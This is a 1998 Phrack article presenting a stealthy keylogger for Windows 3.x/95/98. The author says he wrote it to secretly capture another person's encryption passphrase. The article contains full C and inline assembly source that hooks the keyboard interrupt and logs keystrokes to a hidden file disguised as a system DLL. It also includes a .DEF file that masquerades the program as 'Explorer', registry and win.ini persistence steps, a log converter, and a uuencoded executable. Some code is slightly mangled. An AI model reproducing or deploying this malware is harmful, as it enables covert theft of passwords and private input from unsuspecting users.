---[  Phrack Magazine   Volume 8, Issue 53 July 8, 1998, article 07 of 15
-------------------------[  A Stealthy Windows Keylogger
--------[  [email protected]
    I recently felt the need to acquire some data being typed into Windows95
machines on a small TCP-IP network.  I had occasional physical access to the
machines and I knew the remote administration password, but the files were
being saved in BestCryptNP volumes, the passphrase for which I didn't know...
    I searched the Net as best I could for a suitable keylogging program that
would allow me to capture the passphrase without being noticed, but all I
could find was I big boggy thing written in visual basic that insisted on
opening a window.  I decided to write my own.  I wanted to write it as a VXD
because they run at Privilege Level 0 and can do just about ANYTHING.  I soon
gave up on this idea because I couldn't acquire the correct tools and certainly
couldn't afford to buy them.
    While browsing through the computer section of my local public library one
day I noticed a rather thin book called "WINDOWS ASSEMBLY LANGUAGE and SYSTEMS
PROGRAMMING" by Barry Kauler, (ISBN 0 13 020207 X) c 1993.  A quick flick
through the Table of Contents revealed "Chapter 10: Real-Time Events, Enhanced
Mode Hardware Interrupts".  I immediately borrowed the book and photocopied
it (Sorry about the royalties Barry).  As I read chapter 10 I realized that
all I needed was a small 16 bit Windows program running as a normal user
process to capture every keystroke typed into windows.  The only caveat was
that keystrokes typed into DOS boxes wouldn't be captured.  Big deal.  I could
live without that.  I was stunned to discover that all user programs in Windows
share a single Interrupt Descriptor Table (IDT).  This implies that if one
user program patches a vector in the IDT, then all other programs are
immediately affected.
    The only tool I had for generating windows executables was Borland C Ver
2.0 which makes small and cute windows 3.0 EXE's, so that's what I used.  I
have tested it on Windows for Workgroups 3.11, Windows 95 OSR2, and Windows 98
beta 3.  It will probably work on Windows 3.x as well.
    As supplied, it will create a hidden file in the \WINDOWS\SYSTEM directory
called POWERX.DLL and record all keystrokes into it using the same encoding
scheme as Doc Cypher's KEYTRAP3.COM program for DOS.  This means that you can
use the same conversion program, CONVERT3.C, to convert the raw scancodes in
the log file to readable ASCII.  I have included a slightly "improved" version
of CONVERT3.C with a couple of bugs fixed.  I contemplated incorporating the
functionality of CONVERT3 into W95Klog, but decided that logging scancodes
was "safer" that logging plain ASCII.  If the log file is larger that 2
megabytes when the program starts, it will be deleted and re-created with
length zero.  When you press CTRL-ALT-DEL (in windows95/98) to look at the
Task List, W95Klog will show up as "Explorer".  You can change this by editing
the .DEF file and recompiling, or by HEX Editing the .EXE file.  If anyone
knows how to stop a user program from showing on this list please tell me.
    To cause the target machine to run W95Klog every time it starts Windows
you can:
  1) Edit win.ini, [windows] section to say run=WHLPFFS.EXE or some such
confusing name :)   Warning!  This will cause a nasty error message if
WHLPFFS.EXE can't be found.  This method has the advantage of being able to be
performed over the network via "remote administration" without the need for
both computers to be running "remote registry service".
  2) Edit the registry key: (Win95/98)
`HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run` and create
a new key called whatever you like with a string value of "WHLPFFS.EXE" or
whatever.  This is my preferred method because it is less likely to be stumbled
upon by the average user and windows continues without complaint if the
executable can't be found.  The log file can be retrieved via the network even
when it is still open for writing by the logging program.  This is very
convenient ;).
<++> EX/win95log/convert.c
//
// Convert v3.0
// Keytrap logfile converter.
// By dcypher 
// MSVC++1.52 (Or Borland C 1.01, 2.0 ...)
// Released: 8/8/95
// 
// Scancodes above 185(0xB9) are converted to "", UnKnown.
//
#include 
#define MAXKEYS 256
#define WS 128
const char *keys[MAXKEYS];
void main(int argc,char *argv[])
{     
      FILE *stream1;
      FILE *stream2;
 	unsigned int Ldata,Nconvert=0,Yconvert=0;
        char logf_name[100],outf_name[100];
  	//
 	// HERE ARE THE KEY ASSIGNMENTS !!
 	//
 	// You can change them to anything you want. 
 	// If any of the key assignments are wrong, please let
 	// me know. I havn't checked all of them, but it looks ok.
 	//
 	//   v--- Scancodes logged by the keytrap TSR
 	//          v--- Converted to the string here
 	keys[1]  = "";	  				
 	keys[2]  = "1";   		 
 	keys[3]  = "2";    	 
 	keys[4]  = "3";
 	keys[5]  = "4";
 	keys[6]  = "5";
 	keys[7]  = "6";
 	keys[8]  = "7";
	keys[9]  = "8";
 	keys[10] = "9";
 	keys[11] = "0";
 	keys[12] = "-";
 	keys[13] = "=";
 	keys[14] = "";
 	keys[15] = "";
 	keys[16] = "q";
 	keys[17] = "w";
 	keys[18] = "e";
 	keys[19] = "r";
 	keys[20] = "t";
 	keys[21] = "y";
 	keys[22] = "u";
 	keys[23] = "i";
 	keys[24] = "o";
	keys[25] = "p";
 	keys[26] = "[";  /* = ^Z  Choke! */
 	keys[27] = "]";
 	keys[28] = ""; 	
 	keys[29] = "";
 	keys[30] = "a";
 	keys[31] = "s"; 	
 	keys[32] = "d";
 	keys[33] = "f";
 	keys[34] = "g";
 	keys[35] = "h";
 	keys[36] = "j";
 	keys[37] = "k";
 	keys[38] = "l";
 	keys[39] = ";"; 	
 	keys[40] = "'";
 	keys[41] = "`";
 	keys[42] = ""; // left shift - not logged by the tsr
 	keys[43] = "\\";           //			 and not converted
 	keys[44] = "z";
 	keys[45] = "x";
 	keys[46] = "c";
 	keys[47] = "v";
 	keys[48] = "b";
 	keys[49] = "n";
 	keys[50] = "m";
 	keys[51] = ",";
 	keys[52] = ".";
 	keys[53] = "/";
 	keys[54] = ""; // right shift - not logged by the tsr
 	keys[55] = "*";             // 		   and not converted
 	keys[56] = "";
 	keys[57] = " ";         
 	// now show with shift key
 	// the TSR adds 128 to the scancode to show shift/caps
 	keys[1+WS]  = "[";  /* was "" but now fixes ^Z problem */	  				
 	keys[2+WS]  = "!";   		 
 	keys[3+WS]  = "@";    	 
 	keys[4+WS]  = "#";
 	keys[5+WS]  = "$";
 	keys[6+WS]  = "%";
 	keys[7+WS]  = "^";
 	keys[8+WS]  = "&";
	keys[9+WS]  = "*";
 	keys[10+WS] = "(";
 	keys[11+WS] = ")";
 	keys[12+WS] = "_";
 	keys[13+WS] = "+";
 	keys[14+WS] = "";
 	keys[15+WS] = "";
  	keys[16+WS] = "Q";
 	keys[17+WS] = "W";
 	keys[18+WS] = "E";
 	keys[19+WS] = "R";
 	keys[20+WS] = "T";
 	keys[21+WS] = "Y";
 	keys[22+WS] = "U";
 	keys[23+WS] = "I";
 	keys[24+WS] = "O";
	keys[25+WS] = "P";
 	keys[26+WS] = "{";
 	keys[27+WS] = "}";
 	keys[28+WS] = "";
 	keys[29+WS] = "";
 	keys[30+WS] = "A";
 	keys[31+WS] = "S"; 	
 	keys[32+WS] = "D";
 	keys[33+WS] = "F";
 	keys[34+WS] = "G";
 	keys[35+WS] = "H";
 	keys[36+WS] = "J";
 	keys[37+WS] = "K";
 	keys[38+WS] = "L";
 	keys[39+WS] = ":"; 	
 	keys[40+WS] = "\"";
 	keys[41+WS] = "~";
 	keys[42+WS] = ""; // left shift - not logged by the tsr
 	keys[43+WS] = "|";            //     	    and not converted
  	keys[44+WS] = "Z";
 	keys[45+WS] = "X";
 	keys[46+WS] = "C";
 	keys[47+WS] = "V";
 	keys[48+WS] = "B";
 	keys[49+WS] = "N";
 	keys[50+WS] = "M";
  	keys[51+WS] = "<";
 	keys[52+WS] = ">";
 	keys[53+WS] = "?";
 	keys[54+WS] = ""; // right shift - not logged by the tsr
 	keys[55+WS] = "";     //			and not converted
 	keys[56+WS] = "";
 	keys[57+WS] = " ";
     	printf("\n");
 	printf("Convert v3.0\n");
 	// printf("Keytrap logfile converter.\n");
 	// printf("By dcypher \n\n");
 	printf("Usage: CONVERT infile outfile\n");
 	printf("\n");
 	if (argc==3)
 	{
  		strcpy(logf_name,argv[1]);
 		strcpy(outf_name,argv[2]);
 	}
 	else
 	{
      	printf("Enter infile name: ");
                scanf("%99s",&logf;_name);
 		printf("Enter outfile name: ");
                scanf("%99s",&outf;_name);
 		printf("\n");
  	}
	stream1=fopen(logf_name,"rb");
	stream2=fopen(outf_name,"a+b");
	if (stream1==NULL || stream2==NULL)
	{
		if (stream1==NULL)
			printf("Error opening: %s\n\a",logf_name);
		else
			printf("Error opening: %s\n\a",outf_name);
	}
	else
	{
		fseek(stream1,0L,SEEK_SET);
		printf("Reading data from: %s\n",logf_name);
		printf("Appending information to..: %s\n",outf_name);
		while (feof(stream1)==0)
			{
				Ldata=fgetc(stream1);	
				if (Ldata>0
				&& Ldata<186)
				{	
					if (Ldata==28 || Ldata==28+WS)
					{	
						fputs(keys[Ldata],stream2);
						fputc(0x0A,stream2);
						fputc(0x0D,stream2);
						Yconvert++;
					}	
					else					
						fputs(keys[Ldata],stream2);
						Yconvert++;
				}
				else
				{     
					fputs("",stream2);
					Nconvert++;
				}
			}
	}
      fflush(stream2);  
	printf("\n\n");
	printf("Data converted....: %i\n",Yconvert);
	printf("Data not converted: %i\n",Nconvert); 	
	printf("\n");	
	printf("Closeing  infile: %s\n",logf_name);
	printf("Closeing outfile: %s\n",outf_name);
      fclose(stream1);
	fclose(stream2);
}
<-->
<++> EX/win95log/W95Klog.c
/*
 * W95Klog.C   Windows stealthy keylogging program
 */
/*
 * This will ONLY compile with BORLANDC V2.0 small model.
 * For other compilers you will have to change newint9()
 * and who knows what else :)
 *
 * Captures ALL interesting keystrokes from WINDOWS applications
 * but NOT from DOS boxes.
 * Tested OK on WFW 3.11, Win95 OSR2 and Win98 Beta 3.
 */
#include 
#include 
#include 
#include 
#include 
//#define LOGFILE "~473C96.TMP" //Name of log file in WINDOWS\TEMP
#define LOGFILE "POWERX.DLL"    //Name of log file in WINDOWS\SYSTEM
#define LOGMAXSIZE 2097152      //Max size of log file (2Megs)
#define HIDDEN 2
#define SEEK_END 2
#define NEWVECT 018h       // "Unused" int that is used to call old
                           // int 9 keyboard routine.
                           // Was used for ROMBASIC on XT's
                           // Change it if you get a conflict with some
                           //  very odd program.  Try 0f9h.
/************* Global Variables in DATA SEGment ****************/
HWND                 hwnd;        // used by newint9()
unsigned int         offsetint;   // old int 9 offset
unsigned int         selectorint; // old int 9 selector
unsigned char        scancode;    // scan code from keyboard
//WndProc
char sLogPath[160];
int  hLogFile;
long lLogPos;
char sLogBuf[10];
//WinMain
char szAppName[]="Explorer";
MSG         msg;
WNDCLASS    wndclass;
/***************************************************************/
//
//__________________________
void interrupt newint9(void)  //This is the new int 9 (keyboard) code
	                 // It is a hardware Interrupt Service Routine. (ISR)
{
scancode=inportb(0x60);
if((scancode<0x40)&&(scancode!=0x2a)) {
  if(peekb(0x0040, 0x0017)&0x40) { //if CAPSLOCK is active
    // Now we have to flip UPPER/lower state of A-Z only! 16-25,30-38,44-50
    if(((scancode>15)&&(scancode<26))||((scancode>29)&&(scancode<39))||
                       ((scancode>43)&&(scancode<51)))  //Phew!
      scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program
    }//if CAPSLOCK
  if(peekb(0x0040, 0x0017)&3)  //if any shift key is pressed...
    scancode^=128;   //bit 7 indicates SHIFT state to CONVERT.C program
  if(scancode==26)   //Nasty ^Z bug in convert program
    scancode=129;    //New code for "["
  //Unlike other Windows functions, an application may call PostMessage
  // at the hardwareinterrupt level. (Thankyou Micr$oft!)
  PostMessage(hwnd, WM_USER, scancode, 0L); //Send scancode to WndProc()
  }//if scancode in range
  asm {  //This is very compiler specific, & kinda ugly!
      pop bp
      pop di
      pop si
      pop ds
      pop es
      pop dx
      pop cx
      pop bx
      pop ax
      int NEWVECT       // Call the original int 9 Keyboard routine
      iret              // and return from interrupt
      }
}//end newint9
//This is the "callback" function that handles all messages to our "window"
//_____________________________________________________________________
long FAR PASCAL WndProc(HWND hwnd,WORD message,WORD wParam,LONG lParam)
  {
//asm int 3;         //For Soft-ice debugging
//asm int 18h;       //For Soft-ice debugging
  switch(message) {
    case WM_CREATE:  // hook the keyboard hardware interupt
      asm {
          pusha
          push es
          push ds
                           // Now get the old INT 9 vector and save it...
          mov al,9
          mov ah,35h       // into ES:BX
          int 21h
          push es
          pop ax
          mov offsetint,bx  // save old vector in data segment
          mov selectorint,ax //     /
          mov dx,OFFSET newint9  // This is an OFFSET in the CODE segment
          push cs
          pop ds            // New vector in DS:DX
          mov al,9
          mov ah,25h
          int 21h           // Set new int 9 vector
          pop ds            // get data seg for this program
          push ds
                            // now hook unused vector
                            //  to call old int 9 routine
          mov dx,offsetint
          mov ax,selectorint
          mov ds,ax
          mov ah,25h
          mov al,NEWVECT
          int 21h
                            // Installation now finished
          pop ds
          pop es
          popa
          } // end of asm
      //Get path to WINDOWS directory
      if(GetWindowsDirectory(sLogPath,150)==0) return 0;
      //Put LOGFILE on end of path
      strcat(sLogPath,"\\SYSTEM\\");
      strcat(sLogPath,LOGFILE);
      do {
        // See if LOGFILE exists
        hLogFile=_lopen(sLogPath,OF_READ);
        if(hLogFile==-1) { // We have to Create it
          hLogFile=_lcreat(sLogPath,HIDDEN);
          if(hLogFile==-1) return 0; //Die quietly if can't create LOGFILE
          }
        _lclose(hLogFile);
        // Now it exists and (hopefully) is hidden....
        hLogFile=_lopen(sLogPath,OF_READWRITE); //Open for business!
        if(hLogFile==-1) return 0; //Die quietly if can't open LOGFILE
        lLogPos=_llseek(hLogFile,0L,SEEK_END); //Seek to the end of the file
        if(lLogPos==-1) return 0; //Die quietly if can't seek to end
        if(lLogPos>LOGMAXSIZE) {  //Let's not fill the harddrive...
          _lclose(hLogFile);
          _chmod(sLogPath,1,0);
          if(unlink(sLogPath)) return 0; //delete or die
          }//if file too big
        } while(lLogPos>LOGMAXSIZE);
      break;
    case WM_USER:        // A scan code....
      *sLogBuf=(char)wParam;
      _write(hLogFile,sLogBuf,1);
      break;
    case WM_ENDSESSION:  // Is windows "restarting" ?
    case WM_DESTROY:     // Or are we being killed  ?
    asm{
        push    dx
        push    ds
        mov     dx,offsetint
        mov     ds,selectorint
        mov     ax,2509h
        int     21h           //point int 09 vector back to old
        pop     ds
        pop     dx
        }
      _lclose(hLogFile);
      PostQuitMessage(0);
      return(0);
    } //end switch
     //This handles all the messages that we don't want to know about
     return DefWindowProc(hwnd,message,wParam,lParam);
     }//end WndProc
/**********************************************************/
int PASCAL WinMain (HANDLE hInstance, HANDLE hPrevInstance,
                    LPSTR lpszCmdParam, int nCmdShow)
    {
    if (!hPrevInstance) {  //If there is no previous instance running...
      wndclass.style         = CS_HREDRAW | CS_VREDRAW;
      wndclass.lpfnWndProc   = WndProc; //function that handles messages
                                        // for this window class
      wndclass.cbClsExtra    = 0;
      wndclass.cbWndExtra    = 0;
      wndclass.hInstance     = hInstance;
      wndclass.hIcon         = NULL;
      wndclass.hCursor       = NULL;
      wndclass.hbrBackground = NULL;
      wndclass.lpszClassName = szAppName;
      RegisterClass (&wndclass;);
      hwnd = CreateWindow(szAppName,   //Create a window
                  szAppName,           //window caption
                  WS_OVERLAPPEDWINDOW, //window style
                  CW_USEDEFAULT,       //initial x position
                  CW_USEDEFAULT,       //initial y position
                  CW_USEDEFAULT,       //initial x size
                  CW_USEDEFAULT,       //initial y size
                  NULL,                //parent window handle
                  NULL,                //Window Menu handle
                  hInstance,           //program instance handle
                  NULL);               //creation parameters
      //ShowWindow(hwnd,nCmdShow);     //We don't want  no
      //UpdateWindow(hwnd);            // stinking window!
      while (GetMessage(&msg;,NULL,0,0)) {
        TranslateMessage(&msg;);
        DispatchMessage(&msg;);
        }
      }//if no previous instance of this program is running...
    return msg.wParam;  //Program terminates here after falling out
    } //End of WinMain        of the while() loop.
<-->
<++> EX/win95log/W95KLOG.DEF
;NAME is what shows in CTRL-ALT-DEL Task list... hmmmm
NAME           Explorer
DESCRIPTION    'Explorer'
EXETYPE        WINDOWS
CODE           PRELOAD FIXED
DATA           PRELOAD FIXED SHARED
HEAPSIZE       2048
STACKSIZE      8096
<-->
<++> EX/win95log/W95KLOG.EXE.uue
begin 600 W95KLOG.EXE
M35H"`08````$``\`__\``+@`````````0```````````````````````````
M````````````````````D````+H0``X?M`G-(;@!3,TAD)!4:&ES;('!R;V=R
M86T@;75S="!B92!R=6X@=6YD97(@36EC![\"`;DF`BO/_/.J
M,\!0FO__``#_-A@`FO__```+P'4#Z8``M`#-&HD6;(`")#B(`M##-(:,D`)K_
M_P``J0$`=`;'!A(`"`#WP@0`=`;'!A0``0",V([`O@(!OP(!Z$X`_S88`/\V
M&@#_-A8`_S8<`/\V'@#H(0-0Z-`#C-B.P+X"`;\"`>AG`/\6<@#_%G0`_Q9V
M`+C__U":__\``(I&`K1,S2&P;_U#HH0.T3,TAM/^+UXO>.]]T%R:`/_]T#"8X
M9P%W!B:*9P&+TX/#!NOE.]=T&XO;:)H`_`";&!_\&=`'P=:65M8
MS1C/75]>'P=:65M8SXS8D$55B^P>CMA6BW8,B\8]%@!U`^EE`7<0/0$`=!8]
M`@!U`^E6`>EZ`3T`!'4#Z30!Z6\!8`8>L`FT-BQ8P`8X>Y`&X;
M"27-(1]:_S8X`9K__P``:@":__\``#/2,\#K$O]V#E;_=@K_=@C_=@::__\`
M`%X?74W*"@!5B^Q6BW8,@WX*`'0#Z98`QP86`0,`C`X:`<<&&`'__\<&'`$`
M`,<&'@$``(DV(`''!B(!``#'!B0!``#'!B8!``",'BX!QP8L`50`'F@6`9K_
M_P``'FA4`!YH5`!HSP!J`&@`@&@`@&@`@&@`@&H;`:@!6:@!J`)K__P``HQ0!
MZQ(>:`(!FO__```>:`(!FO__```>:`(!:@!J`&H;`FO__```+P'7;H08!7EW"
M"@!5B^Q=PU6+[.L*BQYX`-'C_Y?F`:%X`/\.>``+P'7K_W8$Z!#\65W#58OL
M@SYX`"!U!;@!`.L3BQYX`-'CBT8$B8?F`?\&>``SP%W#58OLBTX(M$.*1@:+
M5@3-(7(#D>L$4.@"`%W#58OL5HMV!`OV?!6#_EA^`[Y7`(DVH@"*A*0`F(OP
MZQ&+QO?8B_"#_B-_Y<<&H;@#__XDV$`"X__]>7<("`%6+[(M>!-'C@:=Z`/_]
MM$**1@J+7@2+3@B+5@;-(7("ZP50Z)W_F5W#58OL5E?\BWX$'@>+US+`N?__
M\JZ-=?^+?@:Y___RKO?1*_F']_?&`0!T`J1)T>GSI7,!I))?7EW#58OLM$&+
M5@3-(7($,\#K!%#H3?]=PU6+[(M>!-'C]X=Z```(=!.X`@!0,\`STE!2_W8$
MZ&C;_@\0(M$"+7@2+3@B+5@;-(7(/4(M>!-'C@8]Z```06.L$4.@&_UW#&0`#
M`0$``0!;``,!)0`!`!<``P$\``$`'@`#`44``@`%``,!9``!`(0``P'%``$`
M&``#`6($`@!L``,!4P0"`'(``P%*!`(`<0`#`3P$`@`I``,!%00"`#D`!0#B
M`P$`!P(#`;D#`@!K``,!H0,"``8``P&:`P$`40`#`3(#`0!1``,!_0(!`%0`
M`P'=`@$`50`#`=("`0!1``,!N`(!`%,``P&C;`@$`50`#`74"`0"&``4`3P(!
M`%P!`P'M`0(`;@`"`&8!`@!4````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````#"X`17AP;&]R97(`7%-94U1%35P`4$]715)8+D1,3```<@1R!'($```!
M(`(@`B`$H`*@________________________________________````$P("
M!`4&"`@(%!4%$_\6!1$"_________________P4%____________________
M_P__(P+_#_____\3__\"`@4/`O___Q/__________R/_____(_\3_P``````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
!````
`
end
<-->
----[  EOF